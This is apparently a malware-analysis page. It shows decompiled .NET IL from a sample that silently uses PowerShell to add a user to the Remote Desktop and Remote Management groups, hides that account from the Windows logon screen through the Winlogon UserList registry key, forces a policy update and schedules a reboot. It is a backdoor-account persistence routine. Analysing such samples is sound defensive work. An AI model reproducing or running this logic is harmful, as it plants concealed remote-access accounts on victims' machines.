System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_70 ldloc.s V_70 ldc.i4 5000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> leave.s IL_0D4F: ldstr "powershell" ldloc.s V_70 brfalse.s IL_0D4E: endfinally ldloc.s V_70 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr powershell ldstr -Command "Add-LocalGroupMember -Group (Get-LocalGroup -SID 'S-1-5-32-555') -Member ' ldloc.s V_68 ldstr '" call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_71 ldloc.s V_71 ldc.i4 5000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> leave.s IL_0DA8: ldstr "powershell" ldloc.s V_71 brfalse.s IL_0DA7: endfinally ldloc.s V_71 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr powershell ldstr -Command "Add-LocalGroupMember -Group (Get-LocalGroup -SID 'S-1-5-32-580') -Member ' ldloc.s V_68 ldstr '" call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_72 ldloc.s V_72 ldc.i4 5000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> leave.s IL_0E01: ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldloc.s V_72 brfalse.s IL_0E00: endfinally ldloc.s V_72 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldstr SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::CreateSubKey(System.String) stloc.s V_73 ldloc.s V_73 ldloc.s V_68 ldc.i4.0 <null> box System.Int32 ldc.i4.4 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind) leave.s IL_0E30: ldstr "gpupdate" ldloc.s V_73 brfalse.s IL_0E2F: endfinally ldloc.s V_73 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr gpupdate ldstr /force newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_74 ldloc.s V_74 ldc.i4 30000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> leave.s IL_0E7D: ldc.i4.1 ldloc.s V_74 brfalse.s IL_0E7C: endfinally ldloc.s V_74 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldc.i4.1 <null> stloc.s V_48 ldstr Created and configured new user: ldloc.s V_68 call System.String System.String::Concat(System.String,System.String) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0ECA: ldloc.s V_48 ldstr Failed to create user ldloc.s V_68 ldstr , trying next call System.String System.String::Concat(System.String,System.String,System.String) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0EB9: ldloc.s V_13 ldloc.s V_69 brfalse.s IL_0EB8: endfinally ldloc.s V_69 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.s V_13 ldc.i4.1 <null> add <null> stloc.s V_13 ldloc.s V_13 ldloc.s V_67 ldlen <null> conv.i4 <null> blt IL_0C62: ldloc.s V_67 ldloc.s V_48 brtrue.s IL_0ED9: leave.s IL_0EF1 ldstr Failed to create any new user ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0EF1: ldsfld System.Int32 StandaloneProgram.Program::integrity stloc.s V_75 ldstr Error configuring user(s): {0} ldloc.s V_75 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0EF1: ldsfld System.Int32 StandaloneProgram.Program::integrity ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.3 <null> bne.un IL_0F88: leave.s IL_0F94 ldstr Initiating reboot in 2 minutes for admin ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldstr shutdown ldstr /r /t 120 newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_76 ldloc.s V_76 ldc.i4 10000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> ldstr Reboot command exit code: {0} ldloc.s V_76 callvirt System.Int32 System.Diagnostics.Process::get_ExitCode() box System.Int32 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0F70: leave.s IL_0F94 ldloc.s V_76 brfalse.s IL_0F6F: endfinally ldloc.s V_76 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0F94: ret stloc.s V_77 ldstr Error initiating reboot: {0} ldloc.s V_77 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0F94: ret leave.s IL_0F94: ret ldloc.0 <null> brfalse.s IL_0F93: endfinally ldloc.0 <null> callvirt System.Void System.Threading.Mutex::ReleaseMutex() endfinally <null> ret <null>

0601dcd79460a89d567f307c47b39c51 (26.62 KB)
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.reloc
Characteristics
No malware configuration were found at this point.
You must be signed in to post a comment.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙